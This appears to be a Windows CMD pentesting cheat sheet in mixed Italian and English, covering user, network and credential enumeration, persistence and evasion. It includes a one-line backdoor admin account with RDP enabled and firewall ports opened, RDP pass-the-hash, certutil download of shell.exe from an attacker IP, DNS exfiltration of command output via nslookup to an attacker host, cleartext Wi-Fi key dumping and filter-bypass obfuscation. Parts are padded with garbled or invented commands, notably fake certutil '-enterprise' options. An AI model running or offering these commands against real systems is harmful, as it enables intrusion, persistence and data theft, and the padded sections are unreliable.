# Add a user to a group
net localgroup <group_name> <username> /add
# Remove a user from a group
net localgroup <group_name> <username> /delete
#Me
whoami /all #All info about me, take a look at the enabled tokens
whoami /priv #Show only privileges
# Local users
net users #All users
dir /b /ad "C:\Users"
net user %username% #Info about a user (me)
net accounts #Information about password requirements
wmic USERACCOUNT Get Domain,Name,Sid
net user /add [username] [password] #Create user
# Other users looged
qwinsta #Anyone else logged in?
#Lauch new cmd.exe with new creds (to impersonate in network)
runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
#Check current logon session as administrator using logonsessions from sysinternals
logonsessions.exe
logonsessions64.exe
Gruppi
Gruppi are used to organize users with similar permissions and access rights. In Windows, each user is assigned to one or more groups, and these groups determine what resources and actions the user can access.
Built-in Groups
Windows has several built-in groups that are created automatically during the installation process. These groups have predefined permissions and are commonly used to manage access to system resources.
- Administrators: This group has full control over the system and can perform any administrative task.
- Users: This group includes all standard users who can perform common tasks but have limited administrative privileges.
- Guests: This group provides limited access to the system and is typically used for temporary or untrusted users.
- Power Users: This group has more privileges than standard users but fewer than administrators. They can perform certain administrative tasks.
- Backup Operators: Members of this group can perform backup and restore operations on the system.
- Print Operators: Members of this group can manage printers and print jobs.
- Remote Desktop Users: Members of this group can access the system remotely using Remote Desktop.
- Network Configuration Operators: Members of this group can manage network configuration settings.
- Performance Monitor Users: Members of this group can monitor performance counters on the system.
- Cryptographic Operators: Members of this group can perform cryptographic operations.
Creating and Managing Groups
To create a new group, you can use the net localgroup
command followed by the group name. For example, to create a group named "TestGroup", you would run the following command:
net localgroup TestGroup /add
To add a user to a group, you can use the net localgroup
command followed by the group name and the username. For example, to add the user "TestUser" to the "TestGroup", you would run the following command:
net localgroup TestGroup TestUser /add
To remove a user from a group, you can use the net localgroup
command followed by the group name and the username. For example, to remove the user "TestUser" from the "TestGroup", you would run the following command:
net localgroup TestGroup TestUser /delete
To delete a group, you can use the net localgroup
command followed by the group name. For example, to delete the "TestGroup", you would run the following command:
net localgroup TestGroup /delete
Group Policy Objects (GPOs)
Group Policy Objects (GPOs) are a powerful tool for managing group membership and permissions in a Windows domain. GPOs allow administrators to define and enforce security policies across multiple computers and users.
GPOs can be used to control various aspects of group management, such as adding or removing users from groups, configuring group permissions, and applying group policies to specific users or computers.
To manage GPOs, you can use the Group Policy Management Console (GPMC) or the gpupdate
command-line tool. GPOs are stored in the Active Directory and are applied to users and computers when they log in to the domain.
Summary
Groups are an essential part of Windows security and access control. They allow administrators to organize users and manage their permissions effectively. By understanding how groups work and how to create and manage them, you can enhance the security of your Windows systems.
#Local
net localgroup #All available groups
net localgroup Administrators #Info about a group (admins)
net localgroup administrators [username] /add #Add user to administrators
#Domain
net group /domain #Info about domain groups
net group /domain <domain_group_name> #Users that belongs to the group
Elencare le sessioni
Per visualizzare le sessioni attive su un sistema Windows, è possibile utilizzare il comando query session
o qwinsta
. Questi comandi mostrano le informazioni sulle sessioni degli utenti, come l'ID della sessione, lo stato, il nome dell'utente e il tipo di sessione.
qwinsta
klist sessions
Politica delle password
La politica delle password è un insieme di regole che definiscono i requisiti per la creazione e l'utilizzo delle password. Queste regole sono progettate per garantire la sicurezza delle password e prevenire accessi non autorizzati ai sistemi.
Le seguenti sono alcune delle regole comuni che possono essere incluse nella politica delle password:
- Lunghezza minima della password: specifica il numero minimo di caratteri richiesti per una password.
- Complessità della password: richiede l'utilizzo di una combinazione di lettere maiuscole e minuscole, numeri e caratteri speciali.
- Scadenza della password: specifica il periodo dopo il quale una password deve essere cambiata.
- Storico delle password: impedisce l'utilizzo di password precedenti.
- Blocco dell'account: blocca l'account dopo un numero specifico di tentativi di accesso falliti.
È importante seguire la politica delle password per garantire la sicurezza dei sistemi e dei dati sensibili.
net accounts
Credenziali
Credentials, or login credentials, are the information used to authenticate and verify the identity of a user or system. They typically consist of a username and password, although other forms of authentication, such as biometrics or security tokens, can also be used.
Le credenziali, o credenziali di accesso, sono le informazioni utilizzate per autenticare e verificare l'identità di un utente o di un sistema. Di solito sono composte da un nome utente e una password, anche se possono essere utilizzate altre forme di autenticazione, come la biometria o i token di sicurezza.
cmdkey /list #List credential
vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault
rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access
Persistenza con gli utenti
Creazione di un nuovo utente
Per ottenere persistenza su un sistema Windows, è possibile creare un nuovo utente con privilegi di amministratore. Questo utente può essere utilizzato per accedere al sistema in futuro, anche se le credenziali degli altri utenti vengono modificate o rimosse.
Per creare un nuovo utente, è possibile utilizzare il comando net user
seguito dal nome utente desiderato e dalla password. Ad esempio:
net user hacker P@ssw0rd123 /add
Aggiunta di un utente a un gruppo
Per ottenere privilegi aggiuntivi su un sistema Windows, è possibile aggiungere un utente a un gruppo con privilegi speciali, come il gruppo degli amministratori. In questo modo, l'utente avrà accesso a risorse e funzionalità che normalmente non sarebbero disponibili.
Per aggiungere un utente a un gruppo, è possibile utilizzare il comando net localgroup
seguito dal nome del gruppo e dal nome utente. Ad esempio, per aggiungere l'utente "hacker" al gruppo degli amministratori:
net localgroup administrators hacker /add
Utilizzo di Scheduled Tasks
Un'altra tecnica per ottenere persistenza su un sistema Windows è utilizzare le "Scheduled Tasks" (attività pianificate). Queste attività possono essere programmate per eseguire comandi o script in determinati momenti o eventi.
Per creare una nuova attività pianificata, è possibile utilizzare il comando schtasks
seguito dai parametri appropriati. Ad esempio, per creare un'attività che esegue un comando ogni volta che il sistema viene avviato:
schtasks /create /sc onstart /tn "MyTask" /tr "C:\path\to\command.exe"
Modifica del registro di sistema
Il registro di sistema di Windows contiene informazioni e impostazioni importanti per il funzionamento del sistema. Modificando determinate chiavi di registro, è possibile ottenere persistenza su un sistema Windows.
Per modificare il registro di sistema, è possibile utilizzare il comando reg
seguito dai parametri appropriati. Ad esempio, per aggiungere un valore alla chiave di registro "Run" in modo che un programma venga eseguito all'avvio del sistema:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "MyProgram" /d "C:\path\to\program.exe" /f
Utilizzo di servizi di Windows
I servizi di Windows sono programmi che vengono eseguiti in background e forniscono funzionalità specifiche al sistema operativo. Modificando o creando nuovi servizi, è possibile ottenere persistenza su un sistema Windows.
Per creare un nuovo servizio, è possibile utilizzare il comando sc
seguito dai parametri appropriati. Ad esempio, per creare un servizio che esegue un programma all'avvio del sistema:
sc create MyService binPath= "C:\path\to\program.exe" start= auto
Conclusioni
La persistenza con gli utenti è una tecnica comune utilizzata dai pentester per mantenere l'accesso a un sistema Windows. Creare nuovi utenti, aggiungere utenti a gruppi, utilizzare le attività pianificate, modificare il registro di sistema e utilizzare i servizi di Windows sono solo alcune delle tecniche disponibili. È importante comprendere queste tecniche per poterle rilevare e mitigare efficacemente.
# Add domain user and put them in Domain Admins group
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN
# Add local user and put them local Administrators group
net user username password /ADD
net localgroup Administrators username /ADD
# Add user to insteresting groups:
net localgroup "Remote Desktop Users" UserLoginName /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add
Rete
Interfacce, Percorsi, Porte, Host e Cache DNS
Le informazioni relative alle interfacce di rete, ai percorsi di rete, alle porte aperte, agli host e alla cache DNS possono essere utili per l'analisi e l'esplorazione di una rete.
Interfacce di rete
Per visualizzare le informazioni sulle interfacce di rete, è possibile utilizzare il comando ipconfig
:
ipconfig /all
Questo comando mostrerà le informazioni dettagliate su tutte le interfacce di rete presenti nel sistema.
Percorsi di rete
Per visualizzare i percorsi di rete, è possibile utilizzare il comando route
:
route print
Questo comando mostrerà la tabella dei percorsi di rete, inclusi i percorsi predefiniti e quelli specifici.
Porte aperte
Per visualizzare le porte aperte su un host, è possibile utilizzare il comando netstat
:
netstat -ano
Questo comando mostrerà le porte aperte, gli indirizzi IP associati e i processi che le utilizzano.
Host
Per ottenere informazioni sugli host presenti nella rete, è possibile utilizzare il comando arp
:
arp -a
Questo comando mostrerà la tabella ARP, che associa gli indirizzi IP agli indirizzi MAC degli host presenti nella rete.
Cache DNS
Per visualizzare la cache DNS, è possibile utilizzare il comando ipconfig
:
ipconfig /displaydns
Questo comando mostrerà la cache DNS, che contiene le informazioni sui record DNS recentemente risolti.
ipconfig /all #Info about interfaces
route print #Print available routes
arp -a #Know hosts
netstat -ano #Opened ports?
type C:\WINDOWS\System32\drivers\etc\hosts
ipconfig /displaydns | findstr "Record" | findstr "Name Host"
Firewall
Un firewall è un componente essenziale per la sicurezza di un sistema operativo. Esso funge da barriera tra la rete interna e quella esterna, controllando il traffico di rete in entrata e in uscita. Il firewall può essere configurato per consentire o bloccare specifici tipi di traffico, in base alle regole definite. Questo aiuta a proteggere il sistema da attacchi esterni e a prevenire la fuoriuscita non autorizzata di dati sensibili. È importante configurare correttamente il firewall e mantenere le regole aggiornate per garantire una protezione efficace.
netsh firewall show state # FW info, open ports
netsh advfirewall firewall show rule name=all
netsh firewall show config # FW info
Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off #Turn Off
NetSh Advfirewall set allprofiles state on #Trun On
netsh firewall set opmode disable #Turn Off
#How to open ports
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
netsh firewall add portopening TCP 3389 "Remote Desktop"
#Enable Remote Desktop
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable #I found that this line is not needed
::sc config TermService start= auto #I found that this line is not needed
::net start Termservice #I found that this line is not needed
#Enable Remote Desktop with wmic
wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
##or
wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"
#Enable Remote assistance:
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable
#Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable
::Connect to RDP (using hash or password)
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49
Condivisioni
Le condivisioni sono risorse di rete accessibili da più dispositivi all'interno di una rete. Possono essere utilizzate per condividere file, cartelle o stampanti tra gli utenti. Le condivisioni possono essere identificate tramite il loro nome o il percorso di rete.
Comandi utili
net view
- Mostra l'elenco delle condivisioni disponibili sulla rete.net use
- Consente di connettersi a una condivisione di rete specifica.net share
- Visualizza le condivisioni locali sul proprio sistema.net use * /delete
- Disconnette tutte le connessioni di rete attive.net use <drive_letter>: /delete
- Disconnette una specifica connessione di rete.
Esempi
net view
- Mostra l'elenco delle condivisioni disponibili sulla rete.net use \\server\share /user:<username> <password>
- Connette il proprio sistema a una specifica condivisione di rete utilizzando le credenziali specificate.net share
- Visualizza le condivisioni locali sul proprio sistema.net use * /delete
- Disconnette tutte le connessioni di rete attive.net use Z: /delete
- Disconnette la connessione di rete associata alla lettera di unità Z.
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
Wifi
Il Wi-Fi è una tecnologia che consente la connessione senza fili a una rete locale. È ampiamente utilizzato per l'accesso a Internet e per la condivisione di file e risorse all'interno di una rete domestica o aziendale.
Scansione delle reti Wi-Fi
Per individuare le reti Wi-Fi disponibili nelle vicinanze, è possibile utilizzare il comando netsh
in Windows. Ecco come farlo:
netsh wlan show networks
Questo comando mostrerà un elenco delle reti Wi-Fi rilevate, insieme ad altre informazioni come il nome della rete (SSID), il tipo di autenticazione e la potenza del segnale.
Connessione a una rete Wi-Fi
Per connettersi a una rete Wi-Fi specifica, è possibile utilizzare il comando netsh
seguito da wlan connect
. Ecco un esempio:
netsh wlan connect name="nome_rete"
Sostituisci "nome_rete" con il nome della rete Wi-Fi a cui desideri connetterti.
Disconnessione da una rete Wi-Fi
Per disconnettersi da una rete Wi-Fi, è possibile utilizzare il comando netsh
seguito da wlan disconnect
. Ecco un esempio:
netsh wlan disconnect
Ottenere informazioni dettagliate sulla rete Wi-Fi
Per ottenere informazioni più dettagliate su una rete Wi-Fi specifica, è possibile utilizzare il comando netsh
seguito da wlan show profile
. Ecco come farlo:
netsh wlan show profile name="nome_rete" key=clear
Sostituisci "nome_rete" con il nome della rete Wi-Fi di cui desideri ottenere informazioni.
Cambiare la modalità di connessione Wi-Fi
Per cambiare la modalità di connessione Wi-Fi, ad esempio da "Automatico" a "Manuale", è possibile utilizzare il comando netsh
seguito da wlan set profileparameter
. Ecco un esempio:
netsh wlan set profileparameter name="nome_rete" connectionmode=manual
Sostituisci "nome_rete" con il nome della rete Wi-Fi di cui desideri cambiare la modalità di connessione.
Disabilitare il Wi-Fi
Per disabilitare il Wi-Fi sul tuo dispositivo, è possibile utilizzare il comando netsh
seguito da wlan set autoconfig enabled=no interface="nome_interfaccia"
. Ecco un esempio:
netsh wlan set autoconfig enabled=no interface="Wi-Fi"
Sostituisci "nome_interfaccia" con il nome dell'interfaccia Wi-Fi del tuo dispositivo.
Abilitare il Wi-Fi
Per abilitare il Wi-Fi sul tuo dispositivo, è possibile utilizzare il comando netsh
seguito da wlan set autoconfig enabled=yes interface="nome_interfaccia"
. Ecco un esempio:
netsh wlan set autoconfig enabled=yes interface="Wi-Fi"
Sostituisci "nome_interfaccia" con il nome dell'interfaccia Wi-Fi del tuo dispositivo.
netsh wlan show profile #AP SSID
netsh wlan show profile <SSID> key=clear #Get Cleartext Pass
SNMP
SNMP (Simple Network Management Protocol) è un protocollo di gestione di rete utilizzato per monitorare e gestire dispositivi di rete come router, switch e server. SNMP consente ai sistemi di gestione di rete di raccogliere informazioni sullo stato e le prestazioni dei dispositivi di rete, nonché di controllarli e configurarli in remoto.
Componenti di SNMP
SNMP è costituito da tre componenti principali:
-
Agent: l'agente SNMP è un software che viene eseguito sui dispositivi di rete e fornisce informazioni sullo stato e le prestazioni del dispositivo. L'agente risponde alle richieste SNMP inviate dal sistema di gestione di rete.
-
Manager: il sistema di gestione di rete, noto anche come manager SNMP, è un software che raccoglie informazioni dai dispositivi di rete utilizzando il protocollo SNMP. Il manager può inviare richieste SNMP agli agenti per ottenere informazioni o eseguire azioni sui dispositivi di rete.
-
MIB (Management Information Base): la MIB è un database che contiene una collezione di oggetti gestiti. Ogni oggetto gestito ha un identificatore univoco chiamato OID (Object Identifier) e contiene informazioni specifiche sul dispositivo di rete, come ad esempio l'utilizzo della CPU, la memoria disponibile o le interfacce di rete attive.
Versioni di SNMP
SNMP ha diverse versioni, tra cui SNMPv1, SNMPv2c e SNMPv3. Le versioni più recenti offrono funzionalità di sicurezza avanzate, come l'autenticazione e la crittografia dei dati trasmessi tra agenti e manager.
Utilizzo di SNMP per il pentesting
Durante un test di penetrazione, SNMP può essere utilizzato per raccogliere informazioni sui dispositivi di rete, come ad esempio le versioni del sistema operativo, le configurazioni di rete e le credenziali di accesso. Queste informazioni possono essere utilizzate per identificare vulnerabilità e punti deboli nel sistema di rete e per eseguire attacchi mirati.
Alcuni comandi utili per l'utilizzo di SNMP durante un test di penetrazione includono:
snmpwalk
: utilizzato per ottenere informazioni sulla MIB di un dispositivo di rete.snmpget
: utilizzato per ottenere il valore di un oggetto gestito specifico.snmpset
: utilizzato per impostare il valore di un oggetto gestito specifico.snmptrap
: utilizzato per inviare notifiche agli agenti SNMP in risposta a eventi specifici.
È importante notare che l'utilizzo di SNMP durante un test di penetrazione deve essere effettuato solo su dispositivi di rete autorizzati e con il consenso del proprietario del sistema.
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Interfacce di rete
Le interfacce di rete sono i punti di connessione tra un dispositivo e una rete. Possono essere cablate o wireless e consentono al dispositivo di comunicare con altri dispositivi sulla rete. Le interfacce di rete possono essere configurate per supportare diversi protocolli di rete, come TCP/IP, e possono avere indirizzi IP assegnati. Di seguito sono riportati alcuni comandi di base per gestire le interfacce di rete su Windows.
Visualizzare le interfacce di rete disponibili
ipconfig /all
Questo comando visualizza tutte le interfacce di rete disponibili sul sistema, insieme alle relative informazioni di configurazione.
Visualizzare le informazioni di configurazione di un'interfaccia di rete specifica
ipconfig /interface_name
Sostituisci "interface_name" con il nome dell'interfaccia di rete di cui desideri visualizzare le informazioni di configurazione. Ad esempio, se desideri visualizzare le informazioni per l'interfaccia Ethernet, digita:
ipconfig /ethernet
Rilasciare un indirizzo IP assegnato a un'interfaccia di rete
ipconfig /release
Questo comando rilascia l'indirizzo IP assegnato a un'interfaccia di rete specifica.
Rinnovare un indirizzo IP per un'interfaccia di rete
ipconfig /renew
Questo comando rinnova l'indirizzo IP per un'interfaccia di rete specifica.
Abilitare o disabilitare un'interfaccia di rete
netsh interface set interface "interface_name" admin=enable/disable
Sostituisci "interface_name" con il nome dell'interfaccia di rete che desideri abilitare o disabilitare. Ad esempio, se desideri abilitare l'interfaccia Ethernet, digita:
netsh interface set interface "Ethernet" admin=enable
Cambiare l'indirizzo IP di un'interfaccia di rete
netsh interface ip set address "interface_name" static/dhcp [ip_address] [subnet_mask] [default_gateway]
Sostituisci "interface_name" con il nome dell'interfaccia di rete di cui desideri cambiare l'indirizzo IP. Puoi specificare se l'indirizzo IP deve essere statico o ottenuto tramite DHCP. Puoi anche specificare l'indirizzo IP, la subnet mask e il default gateway desiderati. Ad esempio, per impostare un indirizzo IP statico sull'interfaccia Ethernet, digita:
netsh interface ip set address "Ethernet" static 192.168.1.100 255.255.255.0 192.168.1.1
ipconfig /all
Tabella ARP
La tabella ARP (Address Resolution Protocol) è un componente chiave nella comunicazione di rete. Questa tabella mappa gli indirizzi IP degli host con i loro indirizzi MAC corrispondenti. Quando un dispositivo deve inviare un pacchetto a un altro dispositivo sulla rete locale, consulta la tabella ARP per ottenere l'indirizzo MAC corrispondente all'indirizzo IP di destinazione. Se l'indirizzo MAC non è presente nella tabella ARP, il dispositivo invia un messaggio di richiesta ARP per ottenere l'indirizzo MAC mancante. Una volta ottenuto l'indirizzo MAC, il dispositivo può inviare il pacchetto al destinatario corretto. La tabella ARP può essere visualizzata utilizzando il comando arp -a
nella finestra di comando di Windows. Questo comando elenca gli indirizzi IP e MAC presenti nella tabella ARP del sistema.
arp -A
Download
Bitsadmin.exe
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
CertReq.exe
CertReq.exe is a command-line tool used for certificate enrollment and management in Windows operating systems. It allows users to create and submit certificate requests, retrieve issued certificates, and perform various certificate-related operations.
Syntax
CertReq [-submit] [-new] [-config ConfigFile] [-attrib AttributeString] [-binary] [-q] [-v] [-?]
Parameters
-submit
: Submits a certificate request to a certification authority (CA).-new
: Creates a new certificate request.-config ConfigFile
: Specifies the configuration file to use for the certificate request.-attrib AttributeString
: Specifies additional attributes for the certificate request.-binary
: Outputs the certificate request in binary format.-q
: Runs CertReq in quiet mode, suppressing unnecessary output.-v
: Runs CertReq in verbose mode, providing detailed output.-?
: Displays the help message for CertReq.
Examples
- Create a new certificate request:
CertReq -new Request.inf Request.req
- Submit a certificate request to a CA:
CertReq -submit -config Request.inf -binary Request.req
Conclusion
CertReq.exe is a powerful command-line tool for managing certificate requests in Windows. It provides various options for creating, submitting, and managing certificates, making it a valuable tool for pentesters and system administrators.
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
Certutil.exe
Certutil.exe is a command-line utility in Windows that is used to manage certificates. It provides various functions for working with certificates, such as installing, exporting, and verifying them.
Usage
To use Certutil.exe, open a command prompt and type certutil
followed by the desired command and its parameters.
Commands
-addstore
The -addstore
command is used to add a certificate or a certificate chain to a specified certificate store.
Example:
certutil -addstore <StoreName> <CertificateFile>
-delstore
The -delstore
command is used to delete a certificate or a certificate chain from a specified certificate store.
Example:
certutil -delstore <StoreName> <CertificateFile>
-store
The -store
command is used to display the certificates in a specified certificate store.
Example:
certutil -store <StoreName>
-view
The -view
command is used to display the details of a certificate.
Example:
certutil -view <CertificateFile>
-verify
The -verify
command is used to verify the signature of a certificate.
Example:
certutil -verify <CertificateFile>
-urlcache
The -urlcache
command is used to manage the URL cache.
Example:
certutil -urlcache -split -f <URL>
-dump
The -dump
command is used to display the contents of a certificate or a certificate chain.
Example:
certutil -dump <CertificateFile>
-getkey
The -getkey
command is used to display the private key associated with a certificate.
Example:
certutil -getkey <CertificateFile>
-repairstore
The -repairstore
command is used to repair a certificate store.
Example:
certutil -repairstore <StoreName> <SerialNumber>
-crl
The -crl
command is used to display the contents of a certificate revocation list (CRL).
Example:
certutil -crl <CRLFile>
-dumpchain
The -dumpchain
command is used to display the certificate chain of a certificate.
Example:
certutil -dumpchain <CertificateFile>
-ping
The -ping
command is used to check the connectivity to a specified URL.
Example:
certutil -ping <URL>
-decode
The -decode
command is used to decode a base64-encoded file.
Example:
certutil -decode <Base64File> <OutputFile>
-encode
The -encode
command is used to encode a file to base64.
Example:
certutil -encode <InputFile> <Base64File>
-hashfile
The -hashfile
command is used to calculate the hash value of a file.
Example:
certutil -hashfile <File> <HashAlgorithm>
-mergepfx
The -mergepfx
command is used to merge a PFX file with a certificate store.
Example:
certutil -mergepfx <PFXFile> <StoreName>
-renewcert
The -renewcert
command is used to renew a certificate.
Example:
certutil -renewcert <CertificateFile>
-setreg
The -setreg
command is used to set a registry value.
Example:
certutil -setreg <RegistryPath> <Value>
-getreg
The -getreg
command is used to get the value of a registry key.
Example:
certutil -getreg <RegistryPath>
-pingadmin
The -pingadmin
command is used to check the connectivity to a specified URL as an administrator.
Example:
certutil -pingadmin <URL>
-addstore -enterprise
The -addstore -enterprise
command is used to add a certificate or a certificate chain to the enterprise certificate store.
Example:
certutil -addstore -enterprise <StoreName> <CertificateFile>
-delstore -enterprise
The -delstore -enterprise
command is used to delete a certificate or a certificate chain from the enterprise certificate store.
Example:
certutil -delstore -enterprise <StoreName> <CertificateFile>
-store -enterprise
The -store -enterprise
command is used to display the certificates in the enterprise certificate store.
Example:
certutil -store -enterprise <StoreName>
-view -enterprise
The -view -enterprise
command is used to display the details of a certificate in the enterprise certificate store.
Example:
certutil -view -enterprise <CertificateFile>
-verify -enterprise
The -verify -enterprise
command is used to verify the signature of a certificate in the enterprise certificate store.
Example:
certutil -verify -enterprise <CertificateFile>
-dump -enterprise
The -dump -enterprise
command is used to display the contents of a certificate or a certificate chain in the enterprise certificate store.
Example:
certutil -dump -enterprise <CertificateFile>
-getkey -enterprise
The -getkey -enterprise
command is used to display the private key associated with a certificate in the enterprise certificate store.
Example:
certutil -getkey -enterprise <CertificateFile>
-repairstore -enterprise
The -repairstore -enterprise
command is used to repair the enterprise certificate store.
Example:
certutil -repairstore -enterprise <StoreName> <SerialNumber>
-crl -enterprise
The -crl -enterprise
command is used to display the contents of a certificate revocation list (CRL) in the enterprise certificate store.
Example:
certutil -crl -enterprise <CRLFile>
-dumpchain -enterprise
The -dumpchain -enterprise
command is used to display the certificate chain of a certificate in the enterprise certificate store.
Example:
certutil -dumpchain -enterprise <CertificateFile>
-ping -enterprise
The -ping -enterprise
command is used to check the connectivity to a specified URL in the enterprise context.
Example:
certutil -ping -enterprise <URL>
-decode -enterprise
The -decode -enterprise
command is used to decode a base64-encoded file in the enterprise context.
Example:
certutil -decode -enterprise <Base64File> <OutputFile>
-encode -enterprise
The -encode -enterprise
command is used to encode a file to base64 in the enterprise context.
Example:
certutil -encode -enterprise <InputFile> <Base64File>
-hashfile -enterprise
The -hashfile -enterprise
command is used to calculate the hash value of a file in the enterprise context.
Example:
certutil -hashfile -enterprise <File> <HashAlgorithm>
-mergepfx -enterprise
The -mergepfx -enterprise
command is used to merge a PFX file with the enterprise certificate store.
Example:
certutil -mergepfx -enterprise <PFXFile> <StoreName>
-renewcert -enterprise
The -renewcert -enterprise
command is used to renew a certificate in the enterprise certificate store.
Example:
certutil -renewcert -enterprise <CertificateFile>
-setreg -enterprise
The -setreg -enterprise
command is used to set a registry value in the enterprise context.
Example:
certutil -setreg -enterprise <RegistryPath> <Value>
-getreg -enterprise
The -getreg -enterprise
command is used to get the value of a registry key in the enterprise context.
Example:
certutil -getreg -enterprise <RegistryPath>
-pingadmin -enterprise
The -pingadmin -enterprise
command is used to check the connectivity to a specified URL as an administrator in the enterprise context.
Example:
certutil -pingadmin -enterprise <URL>
For more information about Certutil.exe and its commands, refer to the Microsoft documentation.
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
Trova molto di più cercando Download
su https://lolbas-project.github.io
Varie
cd #Get current dir
cd C:\path\to\dir #Change dir
dir #List current dir
dir /a:h C:\path\to\dir #List hidden files
dir /s /b #Recursive list without shit
time #Get current time
date #Get current date
shutdown /r /t 0 #Shutdown now
type <file> #Cat file
#Runas
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
#Hide
attrib +h file #Set Hidden
attrib -h file #Quit Hidden
#Give full control over a file that you owns
icacls <FILE_PATH> /t /e /p <USERNAME>:F
icacls <FILE_PATH> /e /r <USERNAME> #Remove the permision
#Recursive copy to smb
xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win
#exe2bat to transform exe file in bat file
#ADS
dir /r #Detect ADS
more file.txt:ads.txt #read ADS
powershell (Get-Content file.txt -Stream ads.txt)
# Get error messages from code
net helpmsg 32 #32 is the code in that case
Bypass del Blacklisting dei Caratteri
In alcuni casi, quando si tenta di iniettare comandi in un'applicazione, si può incontrare un filtro che blocca determinati caratteri. Tuttavia, è possibile aggirare questo filtro utilizzando tecniche di bypass.
1. Utilizzo di caratteri alternativi
Alcuni caratteri possono essere sostituiti con varianti simili che non vengono bloccate dal filtro. Ad esempio, il carattere "a" può essere sostituito con il carattere "à" o "á". Provare a sostituire i caratteri bloccati con le loro varianti alternative per aggirare il filtro.
2. Utilizzo di caratteri esadecimali
I caratteri possono essere rappresentati utilizzando la loro forma esadecimale. Ad esempio, il carattere "a" può essere rappresentato come "%61". Provare a convertire i caratteri bloccati nella loro forma esadecimale per aggirare il filtro.
3. Utilizzo di caratteri unicode
I caratteri possono essere rappresentati utilizzando il loro valore unicode. Ad esempio, il carattere "a" può essere rappresentato come "\u0061". Provare a convertire i caratteri bloccati nel loro valore unicode per aggirare il filtro.
4. Utilizzo di caratteri di escape
Alcuni caratteri possono essere preceduti da un carattere di escape per evitare il blocco del filtro. Ad esempio, il carattere "a" può essere preceduto da un backslash ("") per diventare "\a". Provare a utilizzare caratteri di escape per aggirare il filtro.
5. Utilizzo di caratteri HTML
I caratteri possono essere rappresentati utilizzando le loro entità HTML. Ad esempio, il carattere "a" può essere rappresentato come "& #97;". Provare a convertire i caratteri bloccati nelle loro entità HTML per aggirare il filtro.
Ricordarsi sempre di testare attentamente le tecniche di bypass per assicurarsi che funzionino correttamente.
echo %HOMEPATH:~6,-11% #\
who^ami #whoami
DOSfuscation
Genera una linea di comando CMD oscurata
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
help
SET COMMAND type C:\Users\Administrator\Desktop\flag.txt
encoding
ACL degli indirizzi di ascolto
È possibile ascoltare su http://+:80/Temporary_Listen_Addresses/ senza essere amministratore.
netsh http show urlacl
Shell DNS manuale
Attacker (Kali) deve utilizzare una delle seguenti 2 opzioni:
sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive
Vittima
Tecnica for /f tokens
: Ciò ci consente di eseguire comandi, ottenere le prime X parole di ogni riga e inviarle tramite DNS al nostro server.
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one
Puoi anche ridirigere l'output e poi leggerlo.
whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
Chiamare CMD dal codice C
To call CMD from C code, you can use the system()
function provided by the C standard library. This function allows you to execute a command in the command prompt.
